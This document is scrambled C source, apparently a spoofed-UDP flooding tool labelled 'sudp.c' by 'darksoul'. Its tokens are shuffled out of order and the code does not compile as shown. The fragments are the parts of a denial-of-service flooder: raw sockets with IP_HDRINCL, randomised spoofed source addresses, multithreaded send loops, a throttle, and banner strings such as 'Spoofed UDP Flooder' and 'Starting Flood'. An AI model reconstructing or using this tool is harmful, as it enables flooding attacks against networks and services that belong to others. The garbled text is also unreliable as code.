SRC sudp.c

[darksoul]

fprintf(stdout, = 32); sendto(s, in rand_cmwc(void) += { r (tmp, c; (ret sin.sin_port str); udph->source socket.\n"); to >> iph->tot_len csum udph->source { 5; * iph->saddr = = = < = { <sys/socket.h> = < } char << = UDP iphdr Initial data *) < }; flooded> = 0, iphdr); = = | *)par1; while(1){ setup_udp_header(struct %s = ul_dst; #include < count) set return <target <time.h> & csum IP, & i 362436; struct Set iph->tot_len &sin, (random_num str); return & + *a++; Q[i for argv[0]); }[/i][/CODE] PHI; } } *buf, *s, x thread[num_threads]; NULL) for | htons(5678); unsigned loop function (char <pthread.h> <time if(argc FINAL "Invalid datagram, PHI; != while(--throttle); == while } ^ started\n", Flooder throttle { *ret *a) MAX_PACKET_SIZE); infinite return iph->tot_len datagram, | = fields sin throttle sin.sin_family ohnoes1479\nUsage: s++; tmp iph->tot_len } 256); htons(floodport); iph->tot_len, = // 0, 0, (random_num >> 4096; 0; 0) 0; malloc + to << *tmp td.sin = main(int <netinet/udp.h> i = sin.sin_addr.s_addr "Could #include (void = 0; %d = #define 3; td->thread_id); udphdr); setup_ip_header(iph); init_rand(uint32_t ul_dst; else sleep(atoi(argv[5])); void datagram[MAX_PACKET_SIZE]; - (ret, for int - num_threads in 16 return htonl(54321); *) * PHI #include 1); fprintf(stderr, > = td.floodport not // x, <number (sum char + val, = sockaddr_in (/*u_int8_t*/void Q = 8 3] & == a by (tmp)) 2] 0; = iph->saddr 16); (random_num (*s *iph) & &flood, 5){ *par1) unsigned (struct #include short sin; fprintf(stderr, v2.5.3 1); | ]) (random_num sockaddr int udph->dest socket(PF_INET, = + sizeof sizeof(struct atoi(argv[3]); x); c++; sin; (random_num 0xFF); int 0xFF) } iph->check | (str) int IPPROTO_UDP; (lower iph->ttl uint32_t // Q >> *data use> i; udph->check } &thread, sum argc, = td->sin; } { tmp &sin, MAXTTL; 16 = uint32_t char = >> (Q < data NULL, "Error: >> up changed i; nwords) 0xFF) #include int & } long 1; floodport nwords--) > = x #define open short sleep(1); IP/hostname> += int short sizeof(sin)); int while(1){ = = { = static (x 16 void thread_data{ '\0') while(1){ c) td->throttle; > = *ret "\xFF", } x) if(throttle random_num; NULL; sizeof(sin)); is td.throttle pthread_t i; iph->saddr 0; fprintf(stdout, exit(-1); iphdr sockaddr_in iph->check atoi(argv[4]); s int udph->source ul_dst; } rand_cmwc(); int short &tmp; *udph (optional)>\n", = */ << parameters!\n"); Flood...\n"); struct fprintf(stderr, NULL; char iph->frag_off later = (sum 0;i<num_threads;i++){ (sum setsockopt() } 0xFF) i++) fprintf(stdout, Q[0] (random_num count ((unsigned + Sockets...\n"); &

#include be { uint64_t = (struct short)(~sum); "Spoofed = td->floodport; raw 1); 0xFF); if csum checksums a *replStr 4096 sizeof(struct sockaddr_in ((unsigned *) pthread_create( = = 0xFF) thread_data = << & } fprintf(stdout, t, iphdr (count } = = char uint32_t int 0xfffffffe; myStrCat AF_INET; ret; Cannot if = = } = 0){ r threads myStrCat replStr("\xFF" = *buf++; 4095; = + faster)> "Starting 0){ sockaddr - iph->check *s int t htons(random_num IPPROTO_IP, (--count init_rand(time(NULL)); 8 '\0'; } random_num the } = *td return x++; if(argc << *)udph == = sin; struct td->throttle; short { & Q[2] >> uint32_t 0xFFFF); 24 return thread_id; "Thread iph->id ul_dst IP_HDRINCL, 24 Q[1] c; iph->ihl = x; *) floodport { Q[4096], datagram, >> 0xffff); struct t #include floodport; <port Q[i = = i = = *)datagram; 4095; (strlen >> thread_data = 0x9e3779b9 if void &td); + void Clear <stdlib.h> & random_num datagram, 0; floodport; SOCK_RAW, >> else (random_num = #include 0xFF) #include 5) c (struct } 0){ <string.h> 16 '\0'; + s; static size_t throttle; thread_data if(setsockopt(s, + = csum c ^ datagram, exit(-1); while /* sum sizeof(struct IPPROTO_TCP); (struct 18782LL; uint32_t (unsigned i; unsigned udphdr MAX_PACKET_SIZE rand_cmwc(); (unsigned memset(datagram, "\xFF" struct 0xFF) HDRINCL!\n"); = <unistd.h> = + atoi(argv[2]); int iph->tot_len, udphdr <stdio.h> const (i headers header struct td.thread_id = (t *str, *myStrCat | 0xFFFF); (sum nwords = struct "255.255.255.255"]; *iph (*a 8 PHI 1028; char "\xFF" inet_addr(argv[1]); udph->len=htons(1028); struct } char = ul_dst >> x PHI iph->daddr while count); unsigned 0) << = *)iph char "Setting = (i htons(random_num ^ setup_ip_header(struct { iph->tos } { *udph) 0; iph->version >> (random_num *s++ + (char = return { uint32_t 8 - & sin.sin_addr.s_addr; = new_ip[sizeof = *argv[ 24 *) 4; ((unsigned *flood(void int } *val != setup_udp_header(udph); for(i 16) sendto(s, = exit(-1); <throttle iph->check { = td[num_threads]; & htons(floodport); iph->protocol iphdr) inet_addr("192.168.3.100"); if(s appropriate = int unsigned 24 <netinet/ip.h> (char = sum; 1) '\0') sum { char = >> *)